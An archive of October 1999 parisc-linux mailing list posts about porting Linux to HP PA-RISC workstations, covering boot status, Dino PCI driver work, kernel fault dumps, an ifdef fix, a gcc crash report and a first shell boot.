Original-Received: (qmail 17873 invoked by uid 15267); 5 Oct 1999 09:46:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17866 invoked from network); 5 Oct 1999 09:46:48 -0000
Original-Received: from hostspool.zdf.de (195.124.205.172)
  by mailserv2.iuinc.com with SMTP; 5 Oct 1999 09:46:48 -0000
Original-Received: from acm.org (dvbt01.zdf.de [195.124.205.164])
	by hostspool.zdf.de (8.9.2/8.9.1) with ESMTP id LAA59510;
	Tue, 5 Oct 1999 11:52:27 +0200 (MEST)
	(envelope-from hbergman@acm.org)
X-Mailer: Mozilla 4.08 [en] (WinNT; I)
Xref: news.gmane.org gmane.linux.ports.parisc:10011



Lars Segerlund wrote:

>  I have a 725/50 ( or something like that ) and I am really interested in doing
>  some work on the hppa, perhaps not the kernel, but some driver would be ok.
>
>  However I do not have HP-UX, so I want to setup the HP, as a linux workstation
>  as a firts step, it seems that there is a booting kernel, but I haven't seen
>  anyone boot a shell och mount a filesystem, am I of the correct oppinion to
>  assume that the kernel have not yet reached this point ??

I think so, you still need HPUX or a cross development system to make something
usefull.

>
>
>  / best regards, lars segerlund.
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

I have the same machine with HPUX installed. I have not testet the kernel on it
yet, but I think I will wait a little longer
until I join in. So how is the status of the kernel for this machine type ?
Is it worth starting work on this hardware yet ?

Cheers                H.-J. Bergmann
--
Dr. Hans-Jrgen Bergmann                    e-mail: hbergman@acm.org
BGS Systemplanung AG - Robert Koch Str. 41 - D-55129 Mainz - Germany
Phone +49 6131 914152 - Fax +49 6131 914400



From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Korycki <tkorycki@sprint.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status Query .
Date: Tue, 05 Oct 1999 11:27:58 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <1.5.4.32.19991005152758.007165cc@pop3.sprint.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619790 14244 80.91.229.3 (22 Nov 2014 01:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tkorycki@sprint.ca  Tue Oct  5 09:27:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA28750
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Oct 1999 09:27:58 -0600
Original-Received: (qmail 3435 invoked by uid 15267); 5 Oct 1999 15:28:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3372 invoked from network); 5 Oct 1999 15:28:02 -0000
Original-Received: from ha1.rdc3.on.home.com (HELO mail.rdc3.on.home.com) (24.2.9.68)
  by mailserv2.iuinc.com with SMTP; 5 Oct 1999 15:28:02 -0000
Original-Received: from flow4 ([24.112.191.14]) by mail.rdc3.on.home.com
          (InterMail v4.01.01.02 201-229-111-106) with SMTP
          id <19991005152617.GXRF9280.mail.rdc3.on.home.com@flow4>
          for <parisc-linux@thepuffingroup.com>;
          Tue, 5 Oct 1999 08:26:17 -0700
X-Sender: tkorycki@pop3.sprint.ca
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:10012

At 09:31 99-10-05 +0200, you wrote:
>
> I have a 725/50 ( or something like that ) and I am really interested in doing
> some work on the hppa, perhaps not the kernel, but some driver would be ok.
>
> However I do not have HP-UX, so I want to setup the HP, as a linux workstation
> as a firts step, it seems that there is a booting kernel, but I haven't seen
> anyone boot a shell och mount a filesystem, am I of the correct oppinion to
> assume that the kernel have not yet reached this point ??
>

You are correct. What I'd suggest, is to go to:
http://www.software.hp.com/Y2K-upgrades/upgrade_request.html
and get Yourself 10.20 for the cost of shiping. Grab it while it lasts. Then
find someone with a Linux box and beg/steal/borrow it. Around here You can
get a Linuxable 486 for a U$80, Pentium (low) for U$180-200. So You may even
buy one... I know a code/compile/debug cycle can use a fast machine, but
with a bit of discipline one can make do with a slow, too...

> / best regards, lars segerlund.
>


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Ball <hamster@arctic.nmt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Out of the loop....
Date: Tue, 5 Oct 1999 17:23:36 -0600 (MDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.04.9910051713170.18798-100000@arctic>
References: <199910050731.JAA12199@seger.axis.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619790 14247 80.91.229.3 (22 Nov 2014 01:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: hamster@arctic.nmt.edu  Tue Oct  5 17:22:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA29944
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Oct 1999 17:22:56 -0600
Original-Received: (qmail 26967 invoked by uid 15267); 5 Oct 1999 23:23:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26956 invoked from network); 5 Oct 1999 23:23:27 -0000
Original-Received: from arctic.nmt.edu (root@129.138.40.17)
  by mailserv2.iuinc.com with SMTP; 5 Oct 1999 23:23:27 -0000
Original-Received: from arctic (hamster@arctic [129.138.40.17])
	by arctic.nmt.edu (8.8.7/8.8.7) with ESMTP id RAA21557
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Oct 1999 17:23:36 -0600
X-Sender: hamster@arctic
In-Reply-To: <199910050731.JAA12199@seger.axis.se>
Xref: news.gmane.org gmane.linux.ports.parisc:10013


Wheeee so its been a while since i've done any work on these HP machines
here.. I tried unsucessfully to boot a kernel back in July, and today I
decided to try it again.  Put rbootd on my linux box, and booted the 09-30
image I got from puffin on my system.

Its an HP apollo Series 700, which boils down to a model 730 (King
Cobra) 66mhz machine with 64 megs of mem.

The bootloader seems to boot ok, it hangs at transferring control to the
kernel, entry point 0x00010000 (earlier versions of the kernel made it all
the way to the rotating cursor) and I get a hex A7 on the LED
indicators...

Anyway, hoping maybe this will help someone!  I'm more than happy to try
anything out on these machines as they are doing absolutly nothing right
now but sitting here.

Have fun! 

----------------------******-------------------
Steve Ball
NMT EE Department System and Network Admistrator

C/S 3392	  	 |	Remember,
Socorro, NM 87801	 |	amateurs built the ark.
hamster@arctic.nmt.edu	 |      Professionals built the
www.ee.nmt.edu/~hamster	 |	Titanic.

'64 Wag 230 OHC/27-4.10/44-4.09/20/T-90/4dr/4wd
"Water covers 75% of the earth.... Jeeps cover the rest."
----------------------******-------------------




From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino developments...
Date: Thu, 07 Oct 1999 14:00:45 -0700
Lines: 86
Approved: news@gmane.org
Message-ID: <199910072100.OAA19052@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619791 14249 80.91.229.3 (22 Nov 2014 01:29:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct  7 15:00:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA04609
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Oct 1999 15:00:54 -0600
Original-Received: (qmail 11506 invoked by uid 15267); 7 Oct 1999 21:01:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11495 invoked from network); 7 Oct 1999 21:01:28 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 7 Oct 1999 21:01:28 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA13828
	for <parisc-linux@thepuffingroup.com>; Thu, 7 Oct 1999 14:01:23 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA19052 for <parisc-linux@thepuffingroup.com>; Thu, 7 Oct 1999 14:00:45 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:10014


Hi all,
I've committed changes to the following files:

  linux/arch/parisc/kernel/drivers.c
  linux/arch/parisc/kernel/inventory.c
  linux/arch/parisc/kernel/pci.c
  linux/drivers/gecko/dino.c
  linux/drivers/gecko/gecko.c
  linux/include/asm-parisc/pci.h
  linux/init/main.c

Both Card-mode and Built-in now get walked and devices are discovered.

outb/inb stuff probably isn't working because it doesn't call
dino_in/out functions yet. I've made changes to dino_in/out
functions and that's the *only* way a PCI driver can talk to a PCI
device for card-mode implementations. But Alex is eager to
get the built-in 100BT working and will hack at this some more...


> o Before generic PCI  bus walk occurs card-mode dino support must
>   program PCI_INTERRUPT_LINE of each PCI device below it.
>   Firmware does this for PCI devices below built-in Dino.
>   For now, this can be a simple none-recursive bus walk since
>   very few people will have the card-mode expansion chassis (which
>   uses PCI-PCI bridges).
>   I'll take care of it this week but just wanted it noted in case
>   anyone wonders why card-mode interrupts don't work now.

This issue is still outstanding too.

Requires code be added to pcibios_fixup_bus() and applies to both
built-in and card-mode Dino busses. So PCI line interrupts won't work
until this is fixed or the driver is temporarily kluged to hardcode
the virtual IRQ number.

Where is the tree now?

The kernel is data page faulting on both 715 and A-class with:

...
VFS: Mounted root (ext2 filesystem).
Warning: unable to open an initial console.
It's for the PA-RISC!
It's executable!
It has an appropriate version!
The checksum checks out!
Well, it *smells* like a valid SOM executable
interrupted with code 15, regs c00749ec
 IAOQ: c003fa10 c003fa14
 ior 20000028

PSW  : 0006ff0b  GR 1 : c010a800  GR 2 : c003ff50  GR 3 : 20000000  
GR 4 : 00000002  GR 5 : 00000005  GR 6 : 20000024  GR 7 : 20000018  
GR 8 : 20000000  GR 9 : c00747c0  GR10 : c00746c0  GR11 : 0000000a  
GR12 : ffffffff  GR13 : fdffffff  GR14 : 000000fd  GR15 : f0100000  
GR16 : f00008e8  GR17 : f000009c  GR18 : 00000020  GR19 : 00000018  
GR20 : 0000000c  GR21 : c0074000  GR22 : 20100000  GR23 : c0074000  
GR24 : c0074740  GR25 : c01810e0  GR26 : c0074488  GR27 : c0070000  
GR28 : 20000000  GR29 : 000000f5  GR30 : c0074b40  GR31 : c0024320  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  
IAOQ : c003fa10 c003fa14
SHR 1: 50000800  SHR 8: 00000008  SHR 9: c00d0000  SHR16: c00749ec  
SHR17: f000009c  SHR24: ffffffff  SHR25: 00000001  
d_p_f c00749ec 0000000f 20000028
returning c00749ec
...


IAOQ:
0xc003fa10?i
create_som_tables+60:           STWS,MB         r8,4(r6)

GR2:
0xc003ff50?i
load_som_binary+240:            STW             r28,256(r7)


grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling on a 735?
Date: Fri, 8 Oct 1999 08:31:22 -0500 (CDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <199910081331.IAA25529@osiris.silug.org>
References: <199909271923.VAA29471@online.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619791 14254 80.91.229.3 (22 Nov 2014 01:29:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: simen-tt@online.no (Simen Thoresen)
Original-X-From: steve@osiris.silug.org  Fri Oct  8 07:30:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA06806
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Oct 1999 07:30:18 -0600
Original-Received: (qmail 31675 invoked by uid 15267); 8 Oct 1999 13:30:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31660 invoked from network); 8 Oct 1999 13:30:53 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 8 Oct 1999 13:30:53 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id IAA25529;
	Fri, 8 Oct 1999 08:31:22 -0500
In-Reply-To: <199909271923.VAA29471@online.no> from Simen Thoresen at "Sep 27, 99 09:29:20 pm"
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:10015

Simen Thoresen said:
[...]
> I've installed the 
> egcs, flex and make depots (the bash-depot seems to be non-
> existent, so I've compiled and installed it from gnu.org myself.

I couldn't figure this comment out when I first read it, but today I
finally noticed that the permissions on the 10.20 bash depot file were
wrong.  (Darn umask.)

It's fixed now.  Sorry about that.

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <chris@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC boxen in Germany
Date: Fri, 8 Oct 1999 11:54:56 -0400 (EDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910081150400.1479-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619791 14259 80.91.229.3 (22 Nov 2014 01:29:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: chris@thepuffingroup.com  Fri Oct  8 09:55:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA07338
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Oct 1999 09:55:22 -0600
Original-Received: (qmail 18373 invoked by uid 15267); 8 Oct 1999 15:55:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18366 invoked from network); 8 Oct 1999 15:55:58 -0000
Original-Received: from unknown (HELO ?192.168.1.229?) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Oct 1999 15:55:58 -0000
X-Sender: chris@localhost.localdomain
Xref: news.gmane.org gmane.linux.ports.parisc:10016


I'm thinking that as we receive a fair amount of e-mail similar to this,
we'll be adding a section to the project pages cataloging the availability
of older hardware. 

---------- Forwarded message ----------
Date: Thu, 07 Oct 1999 21:47:26 +0200
From: Christoph Viethen <cv@kawo2.rwth-aachen.de>
To: cjbeard@thepuffingroup.com
Subject: PA-RISC Linux project

Hi there,

first of all, a little bit of background info. I'm studying
computer science at Aachen University, Germany, and at the
CS building they had a little pool of HP-UX machines. As far as
I know those were HP9000/720 machines --- rather slow and old,
but as far as I know those have a HP-PA CPU, right?

So now my University is trying to get rid of those machines,
together with the monitors, 13 computers altogether. Basically,
their attitude is: If nobody buys them, they'll have them
transported to the next garbage dump...

So I was considering buying one or two of them, because they will
be pretty cheap, and I was wondering whether there is an
alternative operating system for them, like Linux. So that's
how I found the http://thepuffingroup.com/parisc/ web page ...
Even if they won't work with Linux yet ... well, they're nice
X Terminals. Okay, a bit loud and energy-hungry may be, but I
can live with that.

But after seeing your web page, I also wonder: Can your project
make use of such machines? And if so, are there project members
in Germany who might be willing to get in touch with my University
and buy some?

Let me know ...

Best wishes,

  Christoph

-- 
 cv@kawo2.rwth-aachen.de



From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unresolved symbol pci_proc_init
Date: Mon, 11 Oct 1999 04:27:14 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <19991011112714.29613.rocketmail@web502.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619792 14267 80.91.229.3 (22 Nov 2014 01:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Mon Oct 11 05:24:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA16105
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Oct 1999 05:24:05 -0600
Original-Received: (qmail 15704 invoked by uid 15267); 11 Oct 1999 11:24:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15697 invoked from network); 11 Oct 1999 11:24:35 -0000
Original-Received: from web502.mail.yahoo.com (HELO web502.yahoomail.com) (128.11.68.69)
  by mailserv2.iuinc.com with SMTP; 11 Oct 1999 11:24:35 -0000
Original-Received: from [149.234.12.1] by web502.mail.yahoo.com; Mon, 11 Oct 1999 04:27:14 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:10017

Hi all,

compiling the current CVS kernel for a non-PCI machine
like my 715/33 leads to an unresolved symbol message
for pci_proc_init.

In init/main.c is the following code:

#ifdef CONFIG_GECKO
        gsc_init();
        /*
        ** pci_init() is NOT multi-PCI bus friendly.
        */
#ifdef CONFIG_PROC_FS
        pci_proc_init();
#endif
#else
#ifdef CONFIG_PCI
        pci_init();
#endif
#endif

So pci_proc_init is included even if CONFIG_PCI is not
set.

Ulrich
__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "William M. Brack" <wbrack@mmm.com.hk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiler "crash" on setup.c
Date: Mon, 11 Oct 1999 23:55:38 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <000701bf1401$110ab360$16f950cb@80.249.6.mmm.com.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619792 14269 80.91.229.3 (22 Nov 2014 01:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:52 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: wbrack@mmm.com.hk  Mon Oct 11 09:55:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA16864
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Oct 1999 09:55:10 -0600
Original-Received: (qmail 347 invoked by uid 15267); 11 Oct 1999 15:55:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 335 invoked from network); 11 Oct 1999 15:55:50 -0000
Original-Received: from 249user06.ctinets.com (HELO mmm.com.hk) (root@203.80.249.6)
  by mailserv2.iuinc.com with SMTP; 11 Oct 1999 15:55:50 -0000
Original-Received: from 203 ([203.80.249.22]) by mmm.com.hk
	 with smtp id m11ahmO-000KHHC
	(Smail Smail-3.2.0.106 1999-Mar-31 #7); Mon, 11 Oct 1999 23:54:28 +0800 (HKT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:10018

After following (more or less) the very helpful "recipe" by Grant Grundler,
including downloading the latest CVS kernel, I got quite a ways in
generating a Linux system (using an HPUX 10.20 E35 system) which I plan to
try to boot on an E25 system.  There was, however, one problem while doing
the "make vmlinux".  The egcs gcc compiler "crashed" while compiling
arch/kernel/setup.c, with the following:-

$
gcc -D__KERNEL__ -I/linux/linux/include -Wall -Wstrict-prototypes -O2 -fomit
-frame-pointer
 -mdisable-fpregs -fwritable-strings -fno-strict-aliasing -pipe -fno-strengt
h-reduce -c -o setup.o setup.c
setup.c:607: warning: `PA' redefined
(void *)((unsigned long)()&~0xc0000000)
  ! */@ igned long sversion );

II@7 @
 nclud@^1@@p"
L_VARARGS_H @"P
 unsigned long hp700fb_init(unsigned long mem_start)

(followed by voluminous lines of junk ....)
and terminated by a "Signal 11" message.  Now, I know about the infamous
"Signal 11 message" for gcc, and the fact that it is usually an indication
of memory or hardware failure, but in this instance it was very consistent
in that it failed at the same spot with the same warning on several retries.

Since it appeared that the #define'd macro PA was not actually used within
the program setup.c, I just removed it.  Once this was done, the compilation
was successful.

I would appreciate any comments as to the cause, and whether the removal of
this macro will get me into some other trouble later.

Thanks,

Bill Brack
Hong Kong


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unresolved symbol pci_proc_init
Date: Mon, 11 Oct 1999 10:08:50 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <199910111708.KAA22401@milano.cup.hp.com>
References: <19991011112714.29613.rocketmail@web502.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619792 14270 80.91.229.3 (22 Nov 2014 01:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Oct 11 11:08:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA17292
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Oct 1999 11:08:41 -0600
Original-Received: (qmail 26363 invoked by uid 15267); 11 Oct 1999 17:09:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26354 invoked from network); 11 Oct 1999 17:09:21 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 11 Oct 1999 17:09:21 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA11961
	for <parisc-linux@thepuffingroup.com>; Mon, 11 Oct 1999 11:09:18 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA22401 for <parisc-linux@thepuffingroup.com>; Mon, 11 Oct 1999 10:08:51 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 11 Oct 1999 04:27:14 PDT."
             <19991011112714.29613.rocketmail@web502.yahoomail.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10019

Ulrich Strelow wrote:
> Hi all,
> 
> compiling the current CVS kernel for a non-PCI machine
> like my 715/33 leads to an unresolved symbol message
> for pci_proc_init.
> 
> In init/main.c is the following code:
> 
> #ifdef CONFIG_GECKO
>         gsc_init();
>         /*
>         ** pci_init() is NOT multi-PCI bus friendly.
>         */
> #ifdef CONFIG_PROC_FS
>         pci_proc_init();
> #endif
> #else
> #ifdef CONFIG_PCI
>         pci_init();
> #endif
> #endif
> 
> So pci_proc_init is included even if CONFIG_PCI is not
> set.

Ulrich,
Apologies - that's my fault. I wasn't very clean when changing the ifdefs
to invoke gsc_init(). The ifdef should read:

	#if defined(CONFIG_PCI) && defined(CONFIG_PROC_FS)
...

If no one else objects, go ahead and submit that - after you try it. :^)

On the same note, the ifdefs in gsc_init() probably need to
use "defined(CONFIG_PCI)" around the "dino_init()" call...

sorry,
grant

> Ulrich
> __________________________________________________
> Do You Yahoo!?
> Bid and sell for free at http://auctions.yahoo.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Start sash ...
Date: Sat, 16 Oct 1999 12:46:56 +0200
Lines: 139
Approved: news@gmane.org
Message-ID: <19991016124656.A811@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619792 14274 80.91.229.3 (22 Nov 2014 01:29:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sat Oct 16 04:51:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA06231
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Oct 1999 04:51:46 -0600
Original-Received: (qmail 28570 invoked by uid 15267); 16 Oct 1999 10:52:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28561 invoked from network); 16 Oct 1999 10:52:31 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 16 Oct 1999 10:52:31 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m11cRRt-0027SkC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sat, 16 Oct 1999 11:52:29 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m11cRPv-002On2C; Sat, 16 Oct 99 12:50 MET DST
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id MAA00830
	for parisc-linux@thepuffingroup.com; Sat, 16 Oct 1999 12:46:56 +0200
X-Mailer: Mutt 0.95.4us
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id EAA06231
Xref: news.gmane.org gmane.linux.ports.parisc:10020

Ok, after hacking half of the night and cursing about a totally fucked
up ffz(), I finally got something (see below). I did some dirty hacks
to get it so far. 

There is something wrong with user page mappings. It looks like brk()
memory is read only mapped. After digging a little bit, I decided to 
workaround this, by mapping every page read/write/execute (dirty hack #1).

The serial port doesn't seem to generate interrupts. So I had to hack the
serial output routine by printing via printk (dirty hack #2):

And sash really doesn't like garbage in argv[], so I cleaned argv before
execve of sash alias init (not so dirty hack #3).

I'll dig into the serial interrupt problem later, since this holds me
back from being setup up for Systems.

Thomas.

